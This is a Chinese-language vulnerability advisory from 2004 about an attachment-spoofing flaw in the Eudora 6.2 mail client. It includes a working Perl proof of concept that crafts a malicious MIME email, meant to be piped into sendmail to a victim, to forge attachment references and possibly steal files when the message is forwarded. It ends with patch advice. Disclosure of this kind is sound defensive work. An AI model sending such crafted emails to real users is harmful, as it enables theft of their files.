信息来源：NSFOCUS
发布日期：2004-11-12
更新日期：2004-11-15
受影响系统：
Qualcomm Eudora 6.2
不受影响系统：
Qualcomm Eudora 6.2.0.14
描述：
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Eudora是一款邮件客户端。
Eudora不正确处理BASE64或可打印编码的MIME部分，远程攻击者可以利用这个漏洞伪造附件。
攻击者可以通过精心构建BASE64或可打印编码(明文，内联)MIME部分，伪造附件，发送给Eudora处理。
<*来源：Paul Szabo （
psz@maths.usyd.edu.au）
链接：
http://marc.theaimsgroup.com/?l= ... 37078519691&w=2
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Paul Szabo （
psz@maths.usyd.edu.au）提供了如下测试方法：
#!/usr/bin/perl --
use MIME::Base64;
print "From: me\n";
print "To: you\n";
print "Subject: Eudora 6.2 on Windows spoof\n";
print "MIME-Version: 1.0\n";
print "Content-Type: multipart/mixed; boundary=\"zzz\"\n";
print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n";
print "--zzz\n";
print "Content-Type: text/plain\n";
print "Content-Transfer-Encoding: 7bit\n\n";
print "With spoofed attachments, we could 'steal' files if the message
was forwarded (not replied to). Get a warning when stealing arbitrary
files, but no warning when stealing 'attach\\existing' attachments.\n";
print "\n--zzz\n";
print "Content-Type: text/plain; name=\"b1.txt\"\n";
print "Content-Transfer-Encoding: base64\n";
print "Content-Disposition: inline; filename=\"b1.txt\"\n\n";
$z = "Within base64 encoded, use missing linebreak. Part 1 ...\r
AttachmenXX";
print encode_base64($z);
print "\n--zzz\n";
print "Content-Type: text/plain; name=\"b2.txt\"\n";
print "Content-Transfer-Encoding: base64\n";
print "Content-Disposition: inline; filename=\"b2.txt\"\n\n";
$z = "t Converted: \"c:\\winnt\\system32\\calc.exe\"\r
... part 2\r
BTW, the above shows a parsing bug: missing two characters.\r
\r\n";
print encode_base64($z);
print "\n--zzz--\n";
建议：
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厂商补丁：
Qualcomm
--------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载Eudora 6.2.0.14版本：
http://www.eudora.com/
